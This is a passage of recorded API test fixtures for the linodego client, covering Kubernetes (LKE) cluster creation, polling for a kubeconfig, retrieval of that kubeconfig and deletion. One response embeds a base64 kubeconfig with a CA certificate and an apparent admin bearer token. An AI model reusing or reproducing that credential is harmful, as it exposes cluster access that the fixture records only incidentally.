"172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"]}],"label":"go-lke-test-kube-get","region":"ap-west","k8s_version":"1.23","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 76167, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-kube-get", "region": "ap-west", "k8s_version": "1.23", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "245" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76167 method: GET response: body: '{"id": 76167, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-kube-get", "region": "ap-west", "k8s_version": "1.23", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "245" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76167/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76167/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76167/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76167/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76167/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76167/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76167/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76167/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76167/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76167/kubeconfig method: GET response: body: '{"kubeconfig": "CmFwaVZlcnNpb246IHYxCmtpbmQ6IENvbmZpZwpwcmVmZXJlbmNlczoge30KCmNsdXN0ZXJzOgotIGNsdXN0ZXI6CiAgICBjZXJ0aWZpY2F0ZS1hdXRob3JpdHktZGF0YTogTFMwdExTMUNSVWRKVGlCRFJWSlVTVVpKUTBGVVJTMHRMUzB0Q2sxSlNVTXZha05EUVdWaFowRjNTVUpCWjBsQ1FVUkJUa0puYTNGb2EybEhPWGN3UWtGUmMwWkJSRUZXVFZKTmQwVlJXVVJXVVZGRVJYZHdjbVJYU213S1kyMDFiR1JIVm5wTlFqUllSRlJKZVUxVVFYaE5la1V5VFZSUk1VMVdiMWhFVkUxNVRWUkJlRTFFUlRKTlZGRXhUVlp2ZDBaVVJWUk5Ra1ZIUVRGVlJRcEJlRTFMWVROV2FWcFlTblZhV0ZKc1kzcERRMEZUU1hkRVVWbEtTMjlhU1doMlkwNUJVVVZDUWxGQlJHZG5SVkJCUkVORFFWRnZRMmRuUlVKQlMzUkRDa0p4WW1oeVVFdENlbUZQY0dvdlJubFZPRGRRVnpWTE5VTnZWSFZzYkZaVVFUbERhVFJVVm1kWWVuTnhXbVE0T0dscFVGbEVlRWRUVEhobFZEaFpjRFlLTTB0aGNrMW5TVGxrTmpCUWExbGlVemxrWVZwVE5EVkVNVGhpY2pCUFJXdDJjVzluWTJ0QmVUWjJibGt2VVM5S2FXWlpWamwxZG5SeVdtNVVPRlZoU2dwTWRFdFZOV3B2VDFaUmFuQnBiV1ZIUVRKR2Jsa3JjMVJyTTFrM1VYaHhVWFJHUVZONGJFNVBLemg1Tm5WTWJIbGhVV2N5V0hWMk5scEdjMU40UW5RekNsSXdkMmRpZGtWaVVrNXJOV28zYzNoa1lUVmxUV1J0UjFoQ1EyRlBRMXBOVUhRd2JIUnBjbTlJYmtRNU9ESkRSVFpqTURKWE9UbHhLMlpGWWs1a1oxQUtkRFJ1VUVKTmFIVTBRa3cxYm1sd1VGRmxRVE5DZVVwUlkwRklZMjVQVmpGRE1sSnpMMDFITW5BMGJsWTNRMGxqWm1nelpISktTVVI2ZERGTlpuSmpWUXBYWkhSbFRWUTJTazVKTjA5WmVtcFlhV3ByUTBGM1JVRkJZVTVhVFVaamQwUm5XVVJXVWpCUVFWRklMMEpCVVVSQlowdHJUVUU0UjBFeFZXUkZkMFZDQ2k5M1VVWk5RVTFDUVdZNGQwaFJXVVJXVWpCUFFrSlpSVVpEWm1GM00ydDFRVXhxWW10S1EzUnpRVVF3Ulhock1qSm9hR2ROUWxWSFFURlZaRVZSVVU4S1RVRjVRME50ZERGWmJWWjVZbTFXTUZwWVRYZEVVVmxLUzI5YVNXaDJZMDVCVVVWTVFsRkJSR2RuUlVKQlJFMVROR1pEVVU1emVrNUhTMlEzU0hoVlR3cGtiemN4VkZONFMzYzVaM1JNS3pOSlF6bExWMXBCTlVoT2EzVlBXSE5MYnpkd1RHSTNhbkJCWWtwc1NFaFNkRTQxVkZoamJUSXlMemRrTWprNE5HRkZDbkpLTW10VWNraHlRbTEyYjB3MWEwY3pkMGMzYkRSTFltSnBSVFYwYWtZelNYZHVORkJYYlRsd1FYUlJNM1UwTjA5SlFWVjNaazF0Y0haRlYydFpXbG9LTmxvMloycGxkMDlNUW5CdmQyZEhja1pXUmpkSFRXbHlNRk53TkRKMWJpOUtPSEpFVUZvMVNtdHlZMEphUTNOT05GcHBiVFZ2ZVdOVk9XdHVNRkYyUmdwalJ6QjJkRFJSUzBKUVRtc3haM0p1UlZSWmVGcDZUMk0xY0VSa1RFbFdNbWhCYVRWUmJEQklia1pwU1N0aE1XczNhR3A2Umk5TlEzZE5aRzFFUm5rNENuQnJXa2htYTBwWFVVb3JSWEI1UkV0c2JXTlJWMVJRWVZkUGVFVjZXRlpJYzBobGNuTjRaMEowUkcxRVptSm5la0Z0TVhWM1QyTnVlbE5XTUV0RWNra0tWa2hOUFFvdExTMHRMVVZPUkNCRFJWSlVTVVpKUTBGVVJTMHRMUzB0Q2c9PQogICAgc2VydmVyOiBodHRwczovLzRjYmY4MmI2LTUwYTQtNGI4Ny1iMTkwLWZjOTQ0ZjRmNDFlMy5hcC13ZXN0LTIubGlub2RlbGtlLm5ldDo0NDMKICBuYW1lOiBsa2U3NjE2NwoKdXNlcnM6Ci0gbmFtZTogbGtlNzYxNjctYWRtaW4KICB1c2VyOgogICAgYXMtdXNlci1leHRyYToge30KICAgIHRva2VuOiBleUpoYkdjaU9pSlNVekkxTmlJc0ltdHBaQ0k2SWpsSFpYcE5iMWhuZVY5SWRHWm5VM2hsYkRoTWFGRTNYelpEUVhCTGFqTnBVMmRLUTBrd09FUnZUVVVpZlEuZXlKcGMzTWlPaUpyZFdKbGNtNWxkR1Z6TDNObGNuWnBZMlZoWTJOdmRXNTBJaXdpYTNWaVpYSnVaWFJsY3k1cGJ5OXpaWEoyYVdObFlXTmpiM1Z1ZEM5dVlXMWxjM0JoWTJVaU9pSnJkV0psTFhONWMzUmxiU0lzSW10MVltVnlibVYwWlhNdWFXOHZjMlZ5ZG1salpXRmpZMjkxYm5RdmMyVmpjbVYwTG01aGJXVWlPaUpzYTJVdFlXUnRhVzR0ZEc5clpXNHRlbTR5Y21naUxDSnJkV0psY201bGRHVnpMbWx2TDNObGNuWnBZMlZoWTJOdmRXNTBMM05sY25acFkyVXRZV05qYjNWdWRDNXVZVzFsSWpvaWJHdGxMV0ZrYldsdUlpd2lhM1ZpWlhKdVpYUmxjeTVwYnk5elpYSjJhV05sWVdOamIzVnVkQzl6WlhKMmFXTmxMV0ZqWTI5MWJuUXVkV2xrSWpvaU9XSXpNelk0TnpFdE9UZ3lOUzAwTUdRMUxXRmhOakl0TUdabVlqTmxZVEZsT0RBd0lpd2ljM1ZpSWpvaWMzbHpkR1Z0T25ObGNuWnBZMlZoWTJOdmRXNTBPbXQxWW1VdGMzbHpkR1Z0T214clpTMWhaRzFwYmlKOS5mOHhIb1BoQmp1b1lwcDg1dmRybXplVzVFNlhqX05TcTluMk5zZUZmYVJJOHF1cEg5bXQxM01zcDlhY25ZMXhNc3NOcHhUa245Q1hSQTN5dlloa1AtZ09GRU1MeWRkMEJ3R3RfdmtpV3cwUzA2bmh0aG1uUk5UbDEzLXhJT19nYVZUV3RFVUliUTZaeU11dVRTQmkzYVJQb3dxR3oyeDdfVFdDNEFTeHdiXzBaVTM0NkpQVEd6LXkyWDhjVmZzem1PbWtZd0V5cFczZ2E2R1Mtdkl4cVctWk1IUVpzT3pEUjhLZ1ItWUtPQnJScGVtN3FFYVZmTmo0dVRwUG8xLWRLNkFPaDhQR2dLQm5SWk5PSEdlZUQ1VmVHczQteS1PWm5NX1h2cFY2alVYRTlqWldyZHhuc2pQaDNUbjF2eFZHZ3pwZl92ZmpiZmNKREx4bUlRNTB4V1EKCmNvbnRleHRzOgotIGNvbnRleHQ6CiAgICBjbHVzdGVyOiBsa2U3NjE2NwogICAgbmFtZXNwYWNlOiBkZWZhdWx0CiAgICB1c2VyOiBsa2U3NjE2Ny1hZG1pbgogIG5hbWU6IGxrZTc2MTY3LWN0eAoKY3VycmVudC1jb250ZXh0OiBsa2U3NjE2Ny1jdHgK"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76167 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLKECluster_Nodes_Recycle.yaml000066400000000000000000000267131455402072200330630ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU 